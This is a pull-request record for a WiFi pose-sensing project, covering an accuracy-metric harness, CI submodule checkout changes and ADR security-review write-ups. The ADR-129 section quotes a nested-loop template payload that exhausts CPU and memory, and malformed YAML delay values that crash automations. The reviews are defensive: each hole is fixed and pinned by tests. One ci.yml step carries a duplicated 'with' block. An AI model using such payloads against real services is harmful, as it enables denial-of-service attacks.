feat(train): metric-locked PCK/MPJPE accuracy harness + ADR-173 (resolve PCK-definition ambiguity) (#1092)

* feat(train): metric-locked PCK/MPJPE accuracy harness — resolve PCK-definition ambiguity

The SOTA brief (docs/research/sota-nn-train-benchmark-brief.md §1/§3.1/§4)
identifies metric ambiguity as the single biggest threat to any beyond-SOTA
claim: three PCK@20 numbers (96.09% WiFlow-STD image-normalized, 81.63%
AetherArena torso-PCK, 61.1% GraphPose-Fi standard PCK) cannot be lined up
because each silently uses a different normalization. The project was retracted
twice over this (a withdrawn 92.9% used absolute pixels, not torso).

New src/accuracy.rs makes the normalizer explicit, selectable, and carried with
every reported number:
- PckNormalization enum: TorsoDiameter (standard MM-Fi/GraphPose-Fi hip↔hip),
  BoundingBoxDiagonal (looser WiFlow-STD image-normalized), AbsolutePixels(t)
  (retracted convention, reproducible + clearly non-comparable).
- pck_at(pred, gt, vis, k, normalization) — one canonical PCK reusing the
  metrics_core geometric primitives (no duplicate kernel).
- mpjpe(pred, gt, vis) — 2D/3D, mm.
- PoseAccuracy { pck_at: BTreeMap<u8,f32>, mpjpe, normalization, n_keypoints,
  n_frames } via accuracy_report(frames, ks, normalization) — an unlabeled PCK
  number is structurally impossible.

17 hand-computed deterministic tests (no GPU, no datasets) prove the harness
arithmetic, including the key proof that identical predictions score
0.50 / 1.00 / 0.75 under the three normalizations, plus graceful degenerate
handling (zero torso, empty frames, NaN coords — no panic, never false-perfect).

This is measurement infrastructure, NOT an accuracy claim. Public API worth an
ADR — needs ADR slot 173 (parent to write).

wifi-densepose-train lib 191→206, test_metrics 12→14, 0 failed; full workspace
green (exit 0); Python deterministic proof unchanged
(f8e76f21a0f9852b70b6d9dd5318239f6b20cbcb4cdd995863263cecdc446f7a).

Co-Authored-By: claude-flow <ruv@ruv.net>

* docs(adr): ADR-173 — metric-locked PCK/MPJPE accuracy harness

Documents the accuracy harness (committed 3a8b2ed13) that resolves the
PCK-definition ambiguity flagged as the #1 beyond-SOTA risk in the SOTA brief
(#1090): three historical numbers (96/81.6/61) used three unstated
normalizations. The harness makes normalization explicit + selectable
(PckNormalization enum) and every reported number carries its definition.
Key proof: identical predictions → 0.50/1.00/0.75 under torso/bbox/abs.

Co-Authored-By: claude-flow <ruv@ruv.net>

.github/workflows/aether-arena-harness.yml

@@ -33,6 +33,8 @@ jobs:
         working-directory: v2
     steps:
       - uses: actions/checkout@v4
+        with:
+          submodules: recursive
 
       - name: Install Rust toolchain
         run: rustup show && rustc --version

.github/workflows/bfld-mqtt-integration.yml

@@ -53,6 +53,8 @@ jobs:
     steps:
       - name: Checkout
         uses: actions/checkout@v4
+        with:
+          submodules: recursive
 
       - name: Install Rust toolchain
         uses: dtolnay/rust-toolchain@stable

.github/workflows/cd.yml

@@ -42,6 +42,8 @@ jobs:
     steps:
     - name: Checkout code
       uses: actions/checkout@v4
+      with:
+        submodules: recursive
 
     - name: Determine deployment environment
       id: determine-env
@@ -86,6 +88,8 @@ jobs:
     steps:
     - name: Checkout code
       uses: actions/checkout@v4
+      with:
+        submodules: recursive
 
     - name: Set up kubectl
       uses: azure/setup-kubectl@v3
@@ -132,6 +136,8 @@ jobs:
     steps:
     - name: Checkout code
       uses: actions/checkout@v4
+      with:
+        submodules: recursive
 
     - name: Set up kubectl
       uses: azure/setup-kubectl@v3

.github/workflows/ci.yml

@@ -29,6 +29,7 @@ jobs:
       continue-on-error: true
       uses: actions/checkout@v4
       with:
+        submodules: recursive
         fetch-depth: 0
 
     - name: Set up Python
@@ -82,6 +83,13 @@ jobs:
     steps:
     - name: Checkout code
       uses: actions/checkout@v4
+      with:
+        submodules: recursive
+      # ADR-262 P1: `wifi-densepose-rufield` path-deps the `vendor/rufield`
+      # submodule. Without a recursive checkout the workspace build fails to
+      # resolve those path deps in CI even though it passes locally.
+      with:
+        submodules: recursive
 
     # `wifi-densepose-desktop` is a Tauri v2 app — `glib-sys`, `gtk-sys`,
     # `webkit2gtk-sys`, etc. need the Linux dev libraries via pkg-config or the
@@ -202,6 +210,8 @@ jobs:
     - name: Checkout code
       continue-on-error: true
       uses: actions/checkout@v4
+      with:
+        submodules: recursive
 
     - name: Set up Python ${{ matrix.python-version }}
       continue-on-error: true
@@ -267,6 +277,8 @@ jobs:
     steps:
     - name: Checkout code
       uses: actions/checkout@v4
+      with:
+        submodules: recursive
 
     - name: Set up Python
       uses: actions/setup-python@v6
@@ -335,6 +347,8 @@ jobs:
     - name: Checkout code
       continue-on-error: true
       uses: actions/checkout@v4
+      with:
+        submodules: recursive
 
     - name: Set up Docker Buildx
       continue-on-error: true
@@ -407,6 +421,8 @@ jobs:
     steps:
     - name: Checkout code
       uses: actions/checkout@v4
+      with:
+        submodules: recursive
 
     - name: Set up Python
       uses: actions/setup-python@v6

.github/workflows/clone-tracking.yml

@@ -35,6 +35,8 @@ jobs:
     runs-on: ubuntu-latest
     steps:
       - uses: actions/checkout@v4
+        with:
+          submodules: recursive
 
       - name: Fetch /traffic/clones + /traffic/views from GitHub
         env:

.github/workflows/cog-ha-matter-release.yml

@@ -28,6 +28,8 @@ jobs:
     runs-on: ubuntu-latest
     steps:
       - uses: actions/checkout@v4
+        with:
+          submodules: recursive
 
       - name: Setup Rust
         uses: dtolnay/rust-toolchain@stable
@@ -78,6 +80,8 @@ jobs:
     runs-on: ubuntu-latest
     steps:
       - uses: actions/checkout@v4
+        with:
+          submodules: recursive
 
       - name: Setup Rust
         uses: dtolnay/rust-toolchain@stable
@@ -145,6 +149,8 @@ jobs:
       vars.HAS_GCP_CREDENTIALS == 'true'
     steps:
       - uses: actions/checkout@v4
+        with:
+          submodules: recursive
 
       - name: Download x86_64 artifact
         uses: actions/download-artifact@v4

.github/workflows/dashboard-a11y.yml

@@ -20,6 +20,8 @@ jobs:
     runs-on: ubuntu-latest
     steps:
       - uses: actions/checkout@v4
+        with:
+          submodules: recursive
 
       - uses: dtolnay/rust-toolchain@stable
         with: { targets: wasm32-unknown-unknown }

.github/workflows/dashboard-pages.yml

@@ -26,6 +26,8 @@ jobs:
     steps:
       - name: Checkout main
         uses: actions/checkout@v4
+        with:
+          submodules: recursive
 
       - name: Install Rust + wasm32 target
         uses: dtolnay/rust-toolchain@stable

.github/workflows/desktop-release.yml

@@ -28,6 +28,8 @@ jobs:
     steps:
       - name: Checkout
         uses: actions/checkout@v4
+        with:
+          submodules: recursive
 
       - name: Setup Node.js
         uses: actions/setup-node@v6
@@ -83,6 +85,8 @@ jobs:
     steps:
       - name: Checkout
         uses: actions/checkout@v4
+        with:
+          submodules: recursive
 
       - name: Setup Node.js
         uses: actions/setup-node@v6
@@ -131,6 +135,8 @@ jobs:
     steps:
       - name: Checkout
         uses: actions/checkout@v4
+        with:
+          submodules: recursive
 
       - name: Download all artifacts
         uses: actions/download-artifact@v4

.github/workflows/firmware-ci.yml

@@ -22,6 +22,8 @@ jobs:
     if: github.ref_type == 'tag'
     steps:
       - uses: actions/checkout@v4
+        with:
+          submodules: recursive
       - name: Check firmware version.txt == tag
         run: |
           # Tag form: vX.Y.Z-esp32  →  expect version.txt to contain X.Y.Z
@@ -71,6 +73,8 @@ jobs:
 
     steps:
       - uses: actions/checkout@v4
+        with:
+          submodules: recursive
 
       - name: Build firmware (${{ matrix.variant }})
         working-directory: firmware/esp32-csi-node

.github/workflows/firmware-qemu.yml

@@ -100,6 +100,8 @@ jobs:
 
     steps:
       - uses: actions/checkout@v4
+        with:
+          submodules: recursive
 
       - name: Download QEMU artifact
         uses: actions/download-artifact@v4
@@ -214,6 +216,8 @@ jobs:
     runs-on: ubuntu-latest
     steps:
       - uses: actions/checkout@v4
+        with:
+          submodules: recursive
 
       - name: Install clang
         run: |
@@ -263,6 +267,8 @@ jobs:
     runs-on: ubuntu-latest
     steps:
       - uses: actions/checkout@v4
+        with:
+          submodules: recursive
 
       - name: Install NVS generator
         run: pip install esp-idf-nvs-partition-gen
@@ -317,6 +323,8 @@ jobs:
 
     steps:
       - uses: actions/checkout@v4
+        with:
+          submodules: recursive
 
       - name: Download QEMU artifact
         uses: actions/download-artifact@v4

.github/workflows/fix-regression-guard.yml

@@ -22,6 +22,8 @@ jobs:
     runs-on: ubuntu-latest
     steps:
       - uses: actions/checkout@v4
+        with:
+          submodules: recursive
 
       - uses: actions/setup-python@v6
         with:

.github/workflows/mqtt-integration.yml

@@ -41,6 +41,8 @@ jobs:
 
     steps:
       - uses: actions/checkout@v4
+        with:
+          submodules: recursive
 
       - name: Install mosquitto + clients and start with allow_anonymous
         run: |

.github/workflows/nvsim-server-docker.yml

@@ -26,6 +26,8 @@ jobs:
     runs-on: ubuntu-latest
     steps:
       - uses: actions/checkout@v4
+        with:
+          submodules: recursive
 
       - uses: docker/setup-buildx-action@v3
 

.github/workflows/pip-release.yml

@@ -76,6 +76,8 @@ jobs:
     runs-on: ${{ matrix.os }}
     steps:
       - uses: actions/checkout@v4
+        with:
+          submodules: recursive
 
       # Linux aarch64 needs QEMU for cross-build on x86_64 runners.
       - name: Set up QEMU
@@ -121,6 +123,8 @@ jobs:
     runs-on: ubuntu-latest
     steps:
       - uses: actions/checkout@v4
+        with:
+          submodules: recursive
       - name: Install maturin
         run: pip install maturin>=1.7
       - name: Build sdist
@@ -144,6 +148,8 @@ jobs:
     runs-on: ubuntu-latest
     steps:
       - uses: actions/checkout@v4
+        with:
+          submodules: recursive
       - uses: actions/setup-python@v5
         with:
           python-version: '3.12'

.github/workflows/pointcloud-pages.yml

@@ -29,6 +29,8 @@ jobs:
     steps:
       - name: Checkout main
         uses: actions/checkout@v4
+        with:
+          submodules: recursive
 
       - name: Stage viewer for Pages
         run: |

.github/workflows/ruview-swarm-ci.yml

@@ -40,6 +40,8 @@ jobs:
           - { label: 'full+train',       flags: '--features full,train' }
     steps:
       - uses: actions/checkout@v4
+        with:
+          submodules: recursive
       - uses: dtolnay/rust-toolchain@stable
       - name: Cache cargo
         uses: actions/cache@v4
@@ -60,6 +62,8 @@ jobs:
     runs-on: ubuntu-latest
     steps:
       - uses: actions/checkout@v4
+        with:
+          submodules: recursive
       # v2/rust-toolchain.toml pins channel "1.89" with profile "minimal" (no
       # clippy). dtolnay@stable installs clippy on the floating "stable"
       # toolchain, but the override makes cargo use the separate "1.89"
@@ -93,6 +97,8 @@ jobs:
     runs-on: ubuntu-latest
     steps:
       - uses: actions/checkout@v4
+        with:
+          submodules: recursive
       - uses: dtolnay/rust-toolchain@stable
       - name: Cache cargo
         uses: actions/cache@v4
@@ -127,6 +133,8 @@ jobs:
     runs-on: ubuntu-latest
     steps:
       - uses: actions/checkout@v4
+        with:
+          submodules: recursive
       - name: publish = false is present (no accidental crates.io publish)
         run: |
           CARGO=v2/crates/ruview-swarm/Cargo.toml

.github/workflows/security-scan.yml

@@ -28,6 +28,7 @@ jobs:
       continue-on-error: true
       uses: actions/checkout@v4
       with:
+        submodules: recursive
         fetch-depth: 0
 
     - name: Set up Python
@@ -97,6 +98,8 @@ jobs:
     - name: Checkout code
       continue-on-error: true
       uses: actions/checkout@v4
+      with:
+        submodules: recursive
 
     - name: Set up Python
       continue-on-error: true
@@ -164,6 +167,8 @@ jobs:
     - name: Checkout code
       continue-on-error: true
       uses: actions/checkout@v4
+      with:
+        submodules: recursive
 
     - name: Set up Docker Buildx
       continue-on-error: true
@@ -245,6 +250,8 @@ jobs:
     - name: Checkout code
       continue-on-error: true
       uses: actions/checkout@v4
+      with:
+        submodules: recursive
 
     - name: Run Checkov IaC scan
       continue-on-error: true
@@ -307,6 +314,7 @@ jobs:
       continue-on-error: true
       uses: actions/checkout@v4
       with:
+        submodules: recursive
         fetch-depth: 0
 
     - name: Run TruffleHog secret scan
@@ -341,6 +349,8 @@ jobs:
     - name: Checkout code
       continue-on-error: true
       uses: actions/checkout@v4
+      with:
+        submodules: recursive
 
     - name: Set up Python
       continue-on-error: true
@@ -378,6 +388,8 @@ jobs:
     - name: Checkout code
       continue-on-error: true
       uses: actions/checkout@v4
+      with:
+        submodules: recursive
 
     - name: Check security policy files
       continue-on-error: true

.github/workflows/threejs-pages.yml

@@ -30,6 +30,8 @@ jobs:
     steps:
       - name: Checkout main
         uses: actions/checkout@v4
+        with:
+          submodules: recursive
 
       - name: Stage demos for Pages
         run: |

.github/workflows/verify-pipeline.yml

@@ -30,6 +30,8 @@ jobs:
     steps:
       - name: Checkout repository
         uses: actions/checkout@v4
+        with:
+          submodules: recursive
 
       - name: Set up Python ${{ matrix.python-version }}
         uses: actions/setup-python@v6

CLAUDE.md

@@ -22,7 +22,8 @@ Dual codebase: Python v1 (`v1/`) and Rust port (`v2/`).
 | `wifi-densepose-vitals` | ESP32 CSI-grade vital sign extraction (ADR-021) |
 | `nvsim` | Deterministic NV-diamond magnetometer pipeline simulator (ADR-089) — standalone leaf, WASM-ready |
 | `vendor/rvcsi` (submodule) | **rvCSI** — edge RF sensing runtime (ADR-095/096): 9 crates (`rvcsi-core`/`-dsp`/`-events`/`-adapter-file`/`-adapter-nexmon`/`-ruvector`/`-runtime`/`-node`/`-cli`). Lives in its own repo ([github.com/ruvnet/rvcsi](https://github.com/ruvnet/rvcsi)), vendored here under `vendor/rvcsi`, published to crates.io as `rvcsi-* 0.3.x` and to npm as `@ruv/rvcsi`. Not a `v2/` workspace member — depend on the published crates (or the submodule's `crates/rvcsi-*` paths). Normalized `CsiFrame`/`CsiWindow`/`CsiEvent` schema, validate-before-FFI, reusable DSP, typed confidence-scored events, the napi-c Nexmon shim (real nexmon_csi `.pcap` from a Raspberry Pi 5 / 4 / 3B+ — BCM43455c0), the napi-rs SDK, the `rvcsi` CLI, a Claude Code plugin. |
-| `vendor/rufield` (submodule) | **RuField MFS** — the open spec for camera-free multimodal field sensing (ADR-260). A common `FieldEvent`/`FieldTensor`/`FusionGraph`/`PrivacyClass`/`ProvenanceReceipt` model *above* WiFi CSI/CIR/BFLD, UWB, BLE Channel Sounding, mmWave radar, ultrasound, subsonic, infrared, and quantum sensors. Lives in its own repo ([github.com/ruvnet/rufield](https://github.com/ruvnet/rufield)), vendored here under `vendor/rufield`. Not a `v2/` workspace member. v0.1 reference stack = 6 crates (`rufield-core`/`-provenance`/`-privacy`/`-adapters`/`-fusion`/`-bench`), 60 tests/0 failed; all benchmark metrics are **SYNTHETIC** (simulator ground truth, no hardware — real adapters are roadmap). |
+| `vendor/rufield` (submodule) | **RuField MFS** — the open spec for camera-free multimodal field sensing (ADR-260). A common `FieldEvent`/`FieldTensor`/`FusionGraph`/`PrivacyClass`/`ProvenanceReceipt` model *above* WiFi CSI/CIR/BFLD, UWB, BLE Channel Sounding, mmWave radar, ultrasound, subsonic, infrared, and quantum sensors. Lives in its own repo ([github.com/ruvnet/rufield](https://github.com/ruvnet/rufield)), vendored here under `vendor/rufield`. Not a `v2/` workspace member. v0.1 reference stack = 7 crates (`rufield-core`/`-provenance`/`-privacy`/`-adapters`/`-fusion`/`-bench`/`-viewer`), 72 tests/0 failed; `rufield-viewer` is an Axum + vanilla-JS read-only dashboard (`cargo run -p rufield-viewer`) completing ADR-260 §27.9. The WiFi-CSI modality is now **real-replay-backed** via `CsiReplayAdapter` (ingests real captured `.csi.jsonl` → fused presence/breathing inferences; replay-from-file, unlabeled CSI-variance proxy, not validated accuracy); mmWave/thermal + all synthetic-bench F1 numbers remain **SYNTHETIC** (no live hardware — live streaming + labeled accuracy are roadmap). |
+| `wifi-densepose-rufield` | ADR-262 P1 **anti-corruption bridge** — converts RuView WiFi-CSI sensing output (`SensingSnapshot` mirroring `SensingUpdate` + `TrustedOutput`, owned primitives, no dep on `wifi-densepose-sensing-server`) into **signed RuField `FieldEvent`s** (`Modality::WifiCsi`, real `timestamp_ns`, sha256 + ed25519 provenance, `synthetic=false`). The single coupling point between RuView and the standalone RuField MFS spec (§5.4); path-deps the `vendor/rufield` submodule crates (`rufield-core`/`-provenance`/`-privacy`/`-fusion`). **Critical §3.3 privacy mapping** (`map_privacy`): maps RuView class → RuField P0–P5 by **information content, never byte value**, fail-closed (`Derived → P4/P5`, never P1; `demoted` floors to ≥ P2). 15 tests / 0 failed (round-trip / `is_fusable` / fusion-ingest / privacy-safety / determinism). P1 plumbing — not wired into the live server (P3), no accuracy claim. |
 | `ruview-swarm` | Drone swarm control system (ADR-148) — hierarchical-mesh topology, Raft consensus, MARL, CSI sensing payload, MAVLink/PX4 compat, Ruflo AI-agent integration |
 
 ### RuvSense Modules (`signal/src/ruvsense/`)

docker/Dockerfile.rust

@@ -14,6 +14,13 @@ COPY v2/crates/ ./crates/
 # Copy vendored RuVector crates
 COPY vendor/ruvector/ /build/vendor/ruvector/
 
+# Copy vendored RuField submodule — the `wifi-densepose-rufield` bridge crate
+# (ADR-262) path-deps `../../../vendor/rufield/crates/*`, which from the Docker
+# build layout (v2/ collapsed into /build) resolves to /vendor/rufield. Copy the
+# whole tree so the rufield workspace Cargo.toml (workspace-dep inheritance) and
+# the four bridged crates (rufield-core/-provenance/-privacy/-fusion) all resolve.
+COPY vendor/rufield/ /vendor/rufield/
+
 # Build release binaries:
 #   - sensing-server with `mqtt` feature so the HA-DISCO MQTT publisher
 #     (ADR-115) is wired in (auto-discovery topics flow to Home Assistant)

docs/adr/ADR-021-vital-sign-detection-rvdna-pipeline.md

@@ -1092,6 +1092,12 @@ Two robustness bugs were fixed in the on-device edge path (`firmware/esp32-csi-n
 
 Both are pinned by host-buildable C99 tests in `firmware/esp32-csi-node/test/test_vitals_count_presence.c` (`make run_vitals`). The exact thresholds are documented constants pending on-device calibration against ground truth.
 
+### 2026-06 — Rust `wifi-densepose-vitals`: IIR filter NaN/inf self-heal (ADR-158 §A1)
+
+A correctness/safety review of the Rust extraction crate found a real bug parallel to the firmware robustness class above. The 2nd-order resonator `bandpass_filter` in both `breathing.rs` and `heartrate.rs` latches each output `y[n]` into its filter state (`y1`/`y2`). A single non-finite amplitude residual from a corrupt CSI frame produced a NaN `output` that was written into the state; the existing `extract()` `is_finite()` guard dropped that one sample from the history buffer **but never sanitized the poisoned filter state**, so every later output stayed NaN, was rejected too, and the sliding-window history never refilled — breathing **and** heart-rate extraction went silently dead (returning `None` forever) until `reset()`. On the alert path this is a safety-relevant denial of service (one bad frame stops vitals monitoring with no error surfaced).
+
+Fix: when `bandpass_filter` computes a non-finite `output`, it resets the IIR state to default and returns `0.0`, so the resonator self-heals on the next clean frame (the `0.0` is still dropped by the caller's finite-check, so no spurious sample enters history). Same shape as the calibration NaN bug (ADR-154 §3) — the prior hardening guarded the *history boundary* but not the *filter-state boundary*. Pinned by `breathing::tests::nan_frame_does_not_permanently_poison_filter`, `breathing::tests::inf_mid_stream_does_not_freeze_history`, and `heartrate::tests::nan_frame_does_not_permanently_poison_filter` (all FAIL pre-fix, verified by reverting). The review also de-magicked the HR physiological plausibility band into named `HR_PLAUSIBLE_MIN_BPM`/`HR_PLAUSIBLE_MAX_BPM` consts (value-identical 40/180 BPM) and added a fabricated-vital negative (`pure_noise_is_never_reported_valid` — broadband noise never yields a clinically `Valid` HR; the extractor honestly returns low-confidence `Unreliable`). Clean dimensions confirmed with evidence: flat/silent input → `None`; pure noise → low-confidence `Unreliable`, never `Valid`; harmonic-rich breathing with no cardiac component → low-confidence, not a confident false HR; out-of-band BPM rejected by the plausibility clamp.
+
 ## References
 
 - Ramsauer et al. (2020). "Hopfield Networks is All You Need." ICLR 2021. (ModernHopfield formulation)

docs/adr/ADR-116-cog-ha-matter-seed.md

@@ -104,6 +104,57 @@ Ranked by build cost × user impact:
 | **P9** | HACS integration repo (`hass-wifi-densepose`) for HA-side install path | pending |
 | **P10** | Witness bundle + CSA-style spec compliance check | pending |
 
+## 4.1 Crypto/security review notes (§2.2 witness chain — ADR-262 P2 prerequisite)
+
+Beyond-SOTA crypto+security review of the SHA-256 + Ed25519 witness chain
+(`witness.rs` / `witness_signing.rs`) and the manifest signature surface
+(`manifest.rs`), because ADR-262 P2 proposes to **reuse this exact signing
+chain**. Top priority was the sibling `wifi-densepose-engine` bug class —
+unframed boundary-to-boundary concatenation of operator-influenceable strings
+into a signed/hashed digest.
+
+- **Engine bug class ABSENT (good result, reported with byte evidence).**
+  `canonical_bytes` is `DOMAIN_TAG ‖ prev_hash[32] ‖ seq:u64-be ‖ ts:u64-be ‖
+  kind_len:u32-be ‖ kind ‖ payload_len:u32-be ‖ payload`. The two
+  variable-length operator-influenceable fields (`kind`, `payload`) are
+  **length-prefixed**; the fixed-width fields are self-delimiting → the
+  encoding is injective (no two distinct event tuples share a preimage). The
+  Ed25519 signature signs the **identical** bytes the SHA-256 chain commits to.
+  No separate unframed concatenation exists; the manifest `binary_signature`
+  is signed at build time (Makefile) over a single fixed-length `binary_sha256`
+  hex value, not in-crate.
+
+- **CHM-WIT-01 (FIXED) — domain-separation tag added.** The engine fix
+  prescribed *domain-tag + length-prefix*; length-prefix was present, the
+  domain tag was not. Added a versioned, NUL-terminated
+  `WITNESS_DOMAIN_TAG = b"cog-ha-matter/witness-event/v1\x00"` prefix so the
+  witness message can never be replayed as a message for another Ed25519
+  context that shares key infrastructure (notably the manifest signature).
+  **Witness bytes change by design** (prior on-disk hashes/signatures
+  invalidated, as with the engine fix); verified safe because no in-repo crate
+  consumes cog-ha-matter witness bytes programmatically (doc-mentions only).
+
+- **CHM-WIT-02 (HARDENED) — `verify_signature` now uses `verify_strict`.** For
+  an audit chain the signature is the attestation, so non-canonical encodings
+  and small-order keys are rejected (RFC 8032 strict), giving the "one
+  canonical signature per event" property. Not a forgery fix — the verifying
+  key is caller-pinned, never read from the event.
+
+- **Confirmed clean (with evidence):** verify-before-trust + key-pinning
+  (`verify_signature` takes the verifying key as a parameter; `read_jsonl`
+  re-derives every hash and chain-verifies); key handling (the crate never
+  generates/stores/logs/serializes a signing key — only a documented test-only
+  fixed seed; production keys come from the Seed secure store, out of scope);
+  determinism (positional bytes, deterministic Ed25519, alphabetically-locked
+  JSONL field order, sorted TXT records — no HashMap/float nondeterminism feeds
+  any digest); fail-closed parsing (structured errors, no panics; `main.rs`
+  reads no untrusted files/paths).
+
+Tests: `cog-ha-matter --no-default-features` 64 → **68**, 0 failed (CHM-WIT-01
+pinned by 4 fails-on-old tests across `witness.rs`/`witness_signing.rs`;
+CHM-WIT-02 guarded by a key-pinning test). Python deterministic proof
+unchanged (cog-ha-matter is off the signal proof path).
+
 ## 5. References
 
 - ADR-101 — `cog-pose-estimation` packaging precedent (signed binaries on GCS, .cog manifest)

docs/adr/ADR-127-homecore-state-machine-rust.md

@@ -190,4 +190,78 @@ The entity registry is a `RwLock<HashMap<EntityId, EntityEntry>>` backed by an a
 
 - `v2/crates/wifi-densepose-sensing-server/src/main.rs` — Axum + Tokio architecture pattern used throughout the existing server stack
 - `docs/adr/ADR-126-ruview-native-ha-port-master.md` — HOMECORE master; §5.5 crate naming; §6 compatibility contract; §5.1 RUVIEW-POLICY
+
+---
+
+## 9. Security & concurrency review (P1 core, beyond-SOTA sweep)
+
+Foundational review of the `homecore` crate — the state store + event bus +
+service/entity registries every other HOMECORE module trusts. Same rigor as
+the ADR-129/130/132/133/161 sibling reviews. **Three real fixes (one
+concurrency, two hardening), each pinned by a fails-on-old test; the bus-lag
+and lock-discipline dimensions confirmed clean with evidence.**
+
+- **HC-RACE-01 (state-set TOCTOU — lost / reordered `state_changed`, the
+  crux). FIXED.** `StateMachine::set` did `get()` (releasing the DashMap
+  shard lock) → compute the next snapshot + the no-op / `last_changed`
+  decision → `insert()` (re-acquiring the lock) → `send()`. The
+  read-modify-write was **not atomic** w.r.t. a concurrent writer on the
+  same entity, contradicting §2.1's promise that "the writer atomically
+  replaces the map entry." A writer that read a stale `old` could
+  mis-classify a genuine transition as a no-op and **drop its
+  `state_changed` event** (a missed automation trigger) or fire an event
+  whose `new_state` duplicated the previously delivered one (a spurious
+  trigger for any automation keyed on `old_state != new_state`). **Fix:**
+  hold the shard write-lock across the entire read→decide→insert→fire
+  sequence via `entry()`/`insert_entry()`; `tx.send` is non-blocking,
+  non-async, and never re-enters the map, so firing under the shard lock
+  cannot deadlock and keeps global event order in lock-step with global
+  commit order. Pinned by `concurrent_set_fires_no_duplicate_adjacent_events`
+  (4 writers toggling one entity A/B; asserts no two consecutive fired
+  events carry an identical `new_state` — impossible under correct
+  serialisation; a probe observed ~93k such duplicate-adjacent events across
+  200 trials on the racy code, zero on the fix).
+- **HC-EID-LEN-01 (unbounded `entity_id` — memory-DoS at the REST boundary).
+  FIXED.** `homecore-api/src/rest.rs` parses untrusted path segments
+  straight through `EntityId::parse`; with no length cap, an
+  otherwise-valid id (`a.` + many MB of `[a-z0-9_]`) was accepted and a
+  `POST /api/states/<giant>` would persist it into the DashMap state store
+  (permanent growth across distinct ids). **Fix:** reject ids longer than
+  `MAX_ENTITY_ID_LEN` (255, HA-compatible) up front in `parse()`, before any
+  per-char scan, with a new `EntityIdError::TooLong`; fail-closed at the
+  boundary type protects every caller. Pinned by `entity_id_length_boundary`
+  (exactly-MAX accepted, MAX+1 and a 4 MiB id rejected — fails on old code).
+- **HC-SVC-PANIC-01 (service-handler panic not isolated). HARDENED.**
+  `ServiceRegistry::call` already ran handlers outside the registry lock (no
+  `RwLock` poisoning, no blocking of other callers — clean), but a
+  panicking handler unwound through `call()` into the caller's task. **Fix:**
+  wrap the handler future in `AssertUnwindSafe` + `catch_unwind`, converting
+  a panic to `ServiceError::HandlerPanicked`; the registry stays fully
+  usable. Pinned by `panicking_handler_is_isolated_and_registry_survives`.
+
+**Dimensions confirmed clean (with evidence):**
+
+- **Event-bus bounds / lag (same class as the homecore-api WS lag-DoS).**
+  Both `StateMachine` and `EventBus` use bounded `tokio::sync::broadcast`
+  (capacity 4,096). A slow subscriber gets a recoverable `Lagged(n)`
+  (drop-oldest + re-sync); `fire_*` is non-blocking and **never waits on
+  slow receivers**, so a lagging subscriber cannot block the publisher, grow
+  the channel without bound, or take down a fast subscriber. Evidenced by
+  `slow_subscriber_does_not_block_publisher_or_kill_the_bus` (fire 3×
+  capacity at an idle subscriber; publisher unblocked, bus stays live).
+- **Lock ordering / lock-across-await (deadlock).** No code path holds two
+  of `{state DashMap, registry RwLock, service RwLock}` simultaneously, so
+  no inconsistent-ordering deadlock can exist. Every `tokio::sync::RwLock`
+  guard in `registry.rs`/`service.rs` is used in a single synchronous
+  statement and dropped before any `.await`; `call` explicitly scopes the
+  read guard out before awaiting the handler. The only guard held across a
+  send is the DashMap shard lock in `set`, across a synchronous
+  (non-await) broadcast send — safe.
+- **Panic-on-input.** No reachable `unwrap`/`expect`/index in non-test code
+  beyond the safe `send().unwrap_or(0)` and the dead-but-harmless
+  `split_once(...).unwrap_or(...)` fallbacks on already-validated ids.
+
+`cargo test -p homecore --no-default-features`: **20 → 24 passed, 0 failed**
+(+4 pins). Workspace green; Python deterministic proof unchanged
+(`f8e76f21…46f7a`, bit-exact — `homecore` is off the signal proof path).
 - `docs/adr/ADR-028-esp32-capability-audit.md` — witness chain pattern (Ed25519 per state transition)

docs/adr/ADR-129-homecore-automation-engine.md

@@ -190,6 +190,23 @@ This is the same Wasmtime host already used for integration plugins (ADR-128)
 
 ---
 
+## 8a. Security review (beyond-SOTA sweep, post ADR-154–159)
+
+A focused security review of `homecore-automation` (the execution/eval surface — triggers → conditions → actions, with templates) was run after the ADR-154–159 sweep, applying the same rigor that the sibling engine/bfld/calibration/vitals/geo reviews used. **Two real DoS findings, each pinned by a fails-on-old test; the condition-bypass, fail-closed-parsing, and action-authorization dimensions were probed and found clean.**
+
+- **HC-SEC-01 (template-injection / unbounded-expansion DoS, HIGH) — FIXED.** A `template:` condition / `value_template` is user automation config, and was rendered with MiniJinja's defaults: **no instruction budget, no output cap**. A single condition such as `{% for i in range(5000) %}{% for j in range(5000) %}xxxx{% endfor %}{% endfor %}` rendered a **100 MB string over ~11 s on one render call** (measured) — a CPU/memory denial of service (the bfld-class "unbounded expansion"; MiniJinja's per-call `range()` 10k cap does **not** stop nested loops). **Fix:** enable MiniJinja's `fuel` feature and set a per-render budget (`set_fuel(Some(1_000_000))`) so a nested loop burns one unit per iteration — the attack now fails fast (~90 ms) with "engine ran out of fuel"; plus a 64 KiB source-length cap rejecting pathological sources before compilation. Legitimate HA templates (a few dozen instructions) are unaffected. Pinned by `nested_loop_template_is_bounded_not_unbounded_dos`, `single_huge_repeat_template_is_bounded`, `oversized_template_source_is_rejected` (all fail-on-old: unbounded render / no rejection), and `legitimate_template_still_renders_within_fuel` (no regression).
+- **HC-SEC-02 (panic-on-config DoS, MEDIUM) — FIXED.** `Action::Delay { seconds }` and `Action::WaitForTrigger { timeout_seconds }` fed the user-supplied float straight into `Duration::from_secs_f64`, which **panics** on negative, NaN, infinite, or overflowing inputs — all reachable from a crafted (or typo'd) YAML (`delay: {seconds: -1}`, `.nan`, `.inf`, `1e308`). One hostile config aborts the spawned automation run task with a panic (measured: "cannot convert float seconds to Duration: value is negative"). **Fix:** a `safe_duration_from_secs` guard that saturates instead of panicking (NaN/±inf/negative → `Duration::ZERO`, matching HA's lenient "non-positive delay = no delay"; absurdly large → clamped to ~100 years). Pinned by `delay_negative_seconds_does_not_panic`, `delay_nan_seconds_does_not_panic`, `delay_infinite_seconds_does_not_panic`, `wait_for_trigger_negative_timeout_does_not_panic`, `safe_duration_saturates_hostile_values` (incl. overflow clamp).
+
+**Dimensions confirmed clean (with evidence):**
+- **Condition bypass / fail-closed eval** — a `Condition::Template` whose render errors evaluates to `false` (`condition.rs` `Err(_) => false`), and a `Choose` branch condition that fails to deserialize is treated as **non-matching** (the branch is skipped), not silently passing (`action.rs` `ChoiceBranch::matches` `Err(_) => return false`). Both fail **closed** (do-not-run), confirmed by the existing `choose_*` tests and template-false-blocks-action behavioral test. No true-by-default-on-parse-error path found.
